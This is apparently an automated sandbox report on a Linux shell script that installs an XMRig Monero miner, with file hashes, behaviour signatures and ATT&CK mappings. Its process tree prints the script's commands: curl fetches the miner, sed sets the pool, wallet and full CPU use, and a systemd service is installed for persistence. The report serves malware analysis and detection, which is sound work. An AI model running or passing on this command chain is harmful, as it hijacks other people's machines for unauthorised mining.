Analysis

  • max time kernel
    2s
  • max time network
    551s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    01-07-2024 11:19

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:2496
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:2501
      • /usr/bin/nproc
        nproc
        2⤵
          PID:2502
        • /usr/bin/bc
          bc -l
          2⤵
            PID:2505
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:2506
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:2511
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:2512
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:2513
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:2513
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:2513
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:2513
                      • /usr/bin/rm
                        rm /tmp/xmrig.tar.gz
                        2⤵
                          PID:2514
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                            PID:2515
                          • /root/lampp/xmrig
                            /root/lampp/xmrig --help
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            PID:2516
                          • /usr/bin/hostname
                            hostname
                            2⤵
                              PID:2519
                            • /usr/bin/cut
                              cut -f1 -d.
                              2⤵
                                PID:2520
                              • /usr/bin/sed
                                sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                                2⤵
                                • Reads runtime system information
                                PID:2521
                              • /usr/bin/sed
                                sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                2⤵
                                • Reads runtime system information
                                PID:2522
                              • /usr/bin/sed
                                sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                2⤵
                                  PID:2523
                                • /usr/bin/sed
                                  sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2404-amd64-20240523-en-2\",/" /root/lampp/config.json
                                  2⤵
                                    PID:2524
                                  • /usr/bin/sed
                                    sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                    2⤵
                                      PID:2525
                                    • /usr/bin/sed
                                      sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:2526
                                      • /usr/bin/sed
                                        sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                        2⤵
                                          PID:2527
                                        • /usr/bin/sed
                                          sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                          2⤵
                                            PID:2528
                                          • /usr/bin/cp
                                            cp /root/lampp/config.json /root/lampp/config_background.json
                                            2⤵
                                              PID:2529
                                            • /usr/bin/sed
                                              sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                              2⤵
                                                PID:2530
                                              • /usr/bin/cat
                                                cat
                                                2⤵
                                                  PID:2531
                                                • /usr/bin/chmod
                                                  chmod +x /root/lampp/miner.sh
                                                  2⤵
                                                    PID:2532
                                                  • /usr/bin/sudo
                                                    sudo -n true
                                                    2⤵
                                                      PID:2533
                                                      • /usr/bin/true
                                                        true
                                                        3⤵
                                                          PID:2534
                                                      • /usr/bin/grep
                                                        grep MemTotal /proc/meminfo
                                                        2⤵
                                                          PID:2536
                                                        • /usr/bin/awk
                                                          awk "{print \$2}"
                                                          2⤵
                                                            PID:2537
                                                          • /usr/bin/cat
                                                            cat
                                                            2⤵
                                                              PID:2538
                                                            • /usr/bin/sudo
                                                              sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:2539
                                                              • /usr/bin/mv
                                                                mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                3⤵
                                                                  PID:2540
                                                              • /usr/bin/sudo
                                                                sudo killall xmrig
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:2541
                                                                • /usr/bin/killall
                                                                  killall xmrig
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:2542
                                                              • /usr/bin/sudo
                                                                sudo systemctl daemon-reload
                                                                2⤵
                                                                  PID:2543
                                                                  • /usr/bin/systemctl
                                                                    systemctl daemon-reload
                                                                    3⤵
                                                                      PID:2544
                                                                  • /usr/bin/sudo
                                                                    sudo systemctl enable lampp.service
                                                                    2⤵
                                                                      PID:2668
                                                                      • /usr/bin/systemctl
                                                                        systemctl enable lampp.service
                                                                        3⤵
                                                                          PID:2669
                                                                      • /usr/bin/sudo
                                                                        sudo systemctl start lampp.service
                                                                        2⤵
                                                                        • Reads runtime system information
                                                                        PID:2793
                                                                        • /usr/bin/systemctl
                                                                          systemctl start lampp.service
                                                                          3⤵
                                                                            PID:2794

                                                                      Network

                                                                      MITRE ATT&CK Matrix ATT&CK v13

                                                                      Defense Evasion

                                                                      Virtualization/Sandbox Evasion

                                                                      2
                                                                      T1497

                                                                      Discovery

                                                                      Virtualization/Sandbox Evasion

                                                                      2
                                                                      T1497

                                                                      System Information Discovery

                                                                      3
                                                                      T1082

                                                                      Command and Control

                                                                      Web Service

                                                                      1
                                                                      T1102

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • /root/lampp/config.json
                                                                        Filesize

                                                                        2KB

                                                                        MD5

                                                                        f3294129e6b76283965ad86a815bf383

                                                                        SHA1

                                                                        5fe0ab538f86962efe82cb13fc2da745610740af

                                                                        SHA256

                                                                        578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                        SHA512

                                                                        07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                                      • /root/lampp/miner.sh
                                                                        Filesize

                                                                        253B

                                                                        MD5

                                                                        f96a321a262287ceae164f23f232ed9c

                                                                        SHA1

                                                                        d1eeab41f244b42377afd7cc3de7428736162b24

                                                                        SHA256

                                                                        f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                        SHA512

                                                                        75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                                      • /root/lampp/sedFv32yL
                                                                        Filesize

                                                                        2KB

                                                                        MD5

                                                                        8b11b027dd187104473ee7d661ffe25f

                                                                        SHA1

                                                                        ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                        SHA256

                                                                        984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                        SHA512

                                                                        1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                                      • /root/lampp/sedLHR0qP
                                                                        Filesize

                                                                        2KB

                                                                        MD5

                                                                        eaa97ecdf8cebb16c4a6693fbc477cb1

                                                                        SHA1

                                                                        89e1b209d4378bcd53db461ef07f9d459ed46bad

                                                                        SHA256

                                                                        f62988be84694fe64e417710ac9f85d7c7c49332d2166cade2faebbe0b1c96b9

                                                                        SHA512

                                                                        1db51a97fa18af7bf325c448997c6b22d62c5550582ba1e03f4667b55dd9186147ec95fab980e233e7ad08de3171868146b2d8579d45520718b805d7b4487722

                                                                      • /root/lampp/sedObdAcu
                                                                        Filesize

                                                                        2KB

                                                                        MD5

                                                                        4991d2aa9775ac698183bf428fa7818d

                                                                        SHA1

                                                                        9fa1f1537c2857b1d8f305c0fae22658b05c4eb4

                                                                        SHA256

                                                                        d4f32b62c647bd21529ea386ea1cae87a1df2dd36bbab473935c827b104d917b

                                                                        SHA512

                                                                        adb2f9dcde02c11cbc71a75637cf6aa401926e7bc421a07f9c8fcec38c9d8565f4b813aa911176e50d95462cad455d05d0a4fedd52b475ae63bc366df39671a9

                                                                      • /root/lampp/sedms07ZF
                                                                        Filesize

                                                                        2KB

                                                                        MD5

                                                                        4f057e41eb87d381ba3208254b8bef7d

                                                                        SHA1

                                                                        470a71221afdd3cc8ae55f76fbdeef6a195d09ce

                                                                        SHA256

                                                                        1d2c2d3bc7bc26a8c624b3fd0aac77aecb910a05e3340a8c3f26e2bd3e0ce0ab

                                                                        SHA512

                                                                        c2cd03bc39969a2bd3d440cc52bd8d7999e0efb517edb84bbb0a1830a576e932c2403d157704059d0d57d62a108f47a05564cb10377f69f6da3a539a8d4b294e

                                                                      • /root/lampp/sedsabJE9
                                                                        Filesize

                                                                        2KB

                                                                        MD5

                                                                        1750986558fe3e270c7df38dad93a294

                                                                        SHA1

                                                                        e2ac486cd556c02a8d4eeb8a358c2cb5f67966b9

                                                                        SHA256

                                                                        d16384d5caa00e74981b245d2e0f601dd507e578acb92f15eaefbb45187837d0

                                                                        SHA512

                                                                        5521999dbb75f48337ed67a81a1f2c2c01527ab5dde34b149b4a23280e5b685b009d41906f034a3b2d1644f99de8babb5a58a005f5c83e8fa4cfbe17b675f883

                                                                      • /root/lampp/sedwXz2ZL
                                                                        Filesize

                                                                        2KB

                                                                        MD5

                                                                        d489ddbbb83271e967b8af615d17d3c7

                                                                        SHA1

                                                                        f0394a367a60e9727269882154098dec802774ef

                                                                        SHA256

                                                                        5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                        SHA512

                                                                        aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                                      • /root/lampp/xmrig
                                                                        Filesize

                                                                        8.4MB

                                                                        MD5

                                                                        4f24ee64050650c811817999fca68aef

                                                                        SHA1

                                                                        4ad3ef8c27298a64aeed65311b52d3c7cbc569cc

                                                                        SHA256

                                                                        5b09babb810f295d16700e70887a20648b0bf5403d28d1c56d94d2481ec91a17

                                                                        SHA512

                                                                        1ad4a5f8a0432cd1de812ceba4c7c4571fb795f3d2ee016a69628e71982ef1d3be7189735410012513a489e72cacec002bb22e46d37876ad3dad93f4004d6947

                                                                      • /tmp/lampp.service
                                                                        Filesize

                                                                        177B

                                                                        MD5

                                                                        540c899b78585827e807a62f7345eaf5

                                                                        SHA1

                                                                        8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                        SHA256

                                                                        b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                        SHA512

                                                                        0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                                      • /tmp/xmrig.tar.gz
                                                                        Filesize

                                                                        3.4MB

                                                                        MD5

                                                                        e003a3ec8bdd61151a61cadf950502c4

                                                                        SHA1

                                                                        2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                        SHA256

                                                                        80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                        SHA512

                                                                        ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9